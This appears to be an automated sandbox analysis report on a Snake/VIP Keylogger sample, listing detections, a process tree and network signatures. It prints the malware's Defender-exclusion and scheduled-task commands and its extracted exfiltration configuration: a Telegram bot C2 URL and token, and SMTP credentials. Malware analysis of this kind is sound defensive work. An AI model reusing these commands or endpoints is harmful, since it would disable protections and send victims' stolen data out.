Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
FT876567090.exe

Overview

General Information

Sample name:FT876567090.exe
Analysis ID:1576083
MD5:773778752662f5a81d6b7a2015890b79
SHA1:662be6bed03ec5afac72029459157d7908797622
SHA256:86f02fd88dc04b311ec6ae30fc2e4fc8be6884f24654a5103b7fb85f7631f99c
Tags:exeuser-adrian__luca
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Yara detected AntiVM3
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • FT876567090.exe (PID: 7408 cmdline: "C:\Users\user\Desktop\FT876567090.exe" MD5: 773778752662F5A81D6B7A2015890B79)
    • powershell.exe (PID: 7716 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • WmiPrvSE.exe (PID: 800 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • powershell.exe (PID: 7824 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • schtasks.exe (PID: 7872 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • FT876567090.exe (PID: 8124 cmdline: "C:\Users\user\Desktop\FT876567090.exe" MD5: 773778752662F5A81D6B7A2015890B79)
  • EYDNKhhJr.exe (PID: 4176 cmdline: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe MD5: 773778752662F5A81D6B7A2015890B79)
    • schtasks.exe (PID: 7304 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • EYDNKhhJr.exe (PID: 3704 cmdline: "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe" MD5: 773778752662F5A81D6B7A2015890B79)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
404 Keylogger, Snake KeyloggerSnake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Bot Token": "7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI", "Chat id": "6443825857", "Email ID": "sales-nguyen@vvtrade.vn", "Password": "qVyP6qyv6MQCmZJBRs4t", "Host": "mail.vvtrade.vn", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Username": "sales-nguyen@vvtrade.vn", "Password": "qVyP6qyv6MQCmZJBRs4t", "Host": "mail.vvtrade.vn", "Port": "587", "Token": "7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI", "Chat_id": "6443825857", "Version": "4.4"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
    0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_GenericDownloader_1Yara detected Generic DownloaderJoe Security
      0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_VIPKeyloggerYara detected VIP KeyloggerJoe Security
        0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
          0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpWindows_Trojan_SnakeKeylogger_af3faa65unknownunknown
          • 0x361cf:$a1: get_encryptedPassword
          • 0x361a3:$a2: get_encryptedUsername
          • 0x36267:$a3: get_timePasswordChanged
          • 0x3617f:$a4: get_passwordField
          • 0x361e5:$a5: set_encryptedPassword
          • 0x35fb2:$a7: get_logins
          • 0x31876:$a10: KeyLoggerEventArgs
          • 0x31845:$a11: KeyLoggerEventArgsEventHandler
          • 0x36086:$a13: _encryptedPassword
          Click to see the 26 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          12.2.EYDNKhhJr.exe.448c7b0.1.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          0.2.FT876567090.exe.45117a8.2.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x2f120:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1d98a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1d5d0:$s5: delete[]
          • 0x1ca88:$s6: constructor or from DllMain.
          0.2.FT876567090.exe.39f4448.3.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          12.2.EYDNKhhJr.exe.4459990.2.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x2eea0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x2f520:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1d98a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1d5d0:$s5: delete[]
          • 0x1ca88:$s6: constructor or from DllMain.
          0.2.FT876567090.exe.45117a8.2.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x33120:$s3: 83 EC 38 53 B0 62 88 44 24 2B 88 44 24 2F B0 08 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          Click to see the 68 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\FT876567090.exe", ParentImage: C:\Users\user\Desktop\FT876567090.exe, ParentProcessId: 7408, ParentProcessName: FT876567090.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", ProcessId: 7716, ProcessName: powershell.exe
          Sigma detected: Powershell Defender Exclusion
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\FT876567090.exe", ParentImage: C:\Users\user\Desktop\FT876567090.exe, ParentProcessId: 7408, ParentProcessName: FT876567090.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", ProcessId: 7716, ProcessName: powershell.exe
          Sigma detected: Suspicious Add Scheduled Task Parent
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe, ParentImage: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe, ParentProcessId: 4176, ParentProcessName: EYDNKhhJr.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp", ProcessId: 7304, ProcessName: schtasks.exe
          Sigma detected: Suspicious Outbound SMTP Connections
          Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 118.69.190.131, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\FT876567090.exe, Initiated: true, ProcessId: 8124, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49847
          Sigma detected: Suspicious Schtasks From Env Var Folder
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\FT876567090.exe", ParentImage: C:\Users\user\Desktop\FT876567090.exe, ParentProcessId: 7408, ParentProcessName: FT876567090.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", ProcessId: 7872, ProcessName: schtasks.exe
          Sigma detected: Non Interactive PowerShell Process Spawned
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\FT876567090.exe", ParentImage: C:\Users\user\Desktop\FT876567090.exe, ParentProcessId: 7408, ParentProcessName: FT876567090.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe", ProcessId: 7716, ProcessName: powershell.exe

          Persistence and Installation Behavior

          barindex
          Sigma detected: Scheduled temp file as task from temp location
          Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\FT876567090.exe", ParentImage: C:\Users\user\Desktop\FT876567090.exe, ParentProcessId: 7408, ParentProcessName: FT876567090.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp", ProcessId: 7872, ProcessName: schtasks.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-12-16T14:23:13.888029+010028033053Unknown Traffic192.168.2.649733104.21.67.152443TCP
          2024-12-16T14:23:16.983370+010028033053Unknown Traffic192.168.2.649749104.21.67.152443TCP
          2024-12-16T14:23:22.903563+010028033053Unknown Traffic192.168.2.649769104.21.67.152443TCP
          2024-12-16T14:23:32.172539+010028033053Unknown Traffic192.168.2.649805104.21.67.152443TCP
          2024-12-16T14:23:38.236425+010028033053Unknown Traffic192.168.2.649826104.21.67.152443TCP
          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-12-16T14:23:10.119780+010028032742Potentially Bad Traffic192.168.2.649720158.101.44.24280TCP
          2024-12-16T14:23:12.307348+010028032742Potentially Bad Traffic192.168.2.649720158.101.44.24280TCP
          2024-12-16T14:23:13.225114+010028032742Potentially Bad Traffic192.168.2.649731158.101.44.24280TCP
          2024-12-16T14:23:15.260415+010028032742Potentially Bad Traffic192.168.2.649742158.101.44.24280TCP
          2024-12-16T14:23:15.338570+010028032742Potentially Bad Traffic192.168.2.649731158.101.44.24280TCP
          2024-12-16T14:23:18.321124+010028032742Potentially Bad Traffic192.168.2.649756158.101.44.24280TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus / Scanner detection for submitted sample
          Source: FT876567090.exeAvira: detected
          Antivirus detection for dropped file
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeAvira: detection malicious, Label: HEUR/AGEN.1305388
          Found malware configuration
          Source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmpMalware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Username": "sales-nguyen@vvtrade.vn", "Password": "qVyP6qyv6MQCmZJBRs4t", "Host": "mail.vvtrade.vn", "Port": "587", "Token": "7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI", "Chat_id": "6443825857", "Version": "4.4"}
          Source: 10.2.FT876567090.exe.2f20000.1.unpackMalware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Bot Token": "7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI", "Chat id": "6443825857", "Email ID": "sales-nguyen@vvtrade.vn", "Password": "qVyP6qyv6MQCmZJBRs4t", "Host": "mail.vvtrade.vn", "Port": "587"}
          Source: EYDNKhhJr.exe.3704.15.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendMessage"}
          Multi AV Scanner detection for dropped file
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeReversingLabs: Detection: 73%
          Multi AV Scanner detection for submitted file
          Source: FT876567090.exeReversingLabs: Detection: 73%
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for dropped file
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeJoe Sandbox ML: detected
          Machine Learning detection for sample
          Source: FT876567090.exeJoe Sandbox ML: detected

          Location Tracking

          barindex
          Tries to detect the country of the analysis system (by using the IP)
          Source: unknownDNS query: name: reallyfreegeoip.org
          Source: FT876567090.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: unknownHTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49730 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49741 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49820 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49829 version: TLS 1.2
          Source: FT876567090.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: _.pdb source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 070D76F9h0_2_070D7A10
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B02834h10_2_05B02580
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0D82Ch10_2_05B0D580
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B03206h10_2_05B02DE8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0DC84h10_2_05B0D9D8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B03206h10_2_05B02DDA
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B03206h10_2_05B03134
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0D3D4h10_2_05B0D128
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0CF7Ch10_2_05B0CCD0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h10_2_05B00040
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0FAECh10_2_05B0F840
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0F23Ch10_2_05B0EF90
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0F694h10_2_05B0F3E8
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B00D10h10_2_05B00B30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0169Ah10_2_05B00B30
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0EDE4h10_2_05B0EB38
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0E534h10_2_05B0E288
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0E98Ch10_2_05B0E6E0
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 4x nop then jmp 05B0E0DCh10_2_05B0DE30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F63206h15_2_05F62DE8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F63206h15_2_05F62DDB
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6DC84h15_2_05F6D9D8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F62834h15_2_05F62580
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6D82Ch15_2_05F6D580
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F63206h15_2_05F63134
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6D3D4h15_2_05F6D128
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6CF7Ch15_2_05F6CCD0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h15_2_05F60856
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h15_2_05F60040
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6FAECh15_2_05F6F840
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6F694h15_2_05F6F3E8
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6F23Ch15_2_05F6EF90
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F60D10h15_2_05F60B30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6169Ah15_2_05F60B30
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6EDE4h15_2_05F6EB38
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6E98Ch15_2_05F6E6E0
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6E534h15_2_05F6E288
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h15_2_05F60676
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 4x nop then jmp 05F6E0DCh15_2_05F6DE30

          Networking

          barindex
          Uses the Telegram API (likely for C&C communication)
          Source: unknownDNS query: name: api.telegram.org
          Yara detected Generic Downloader
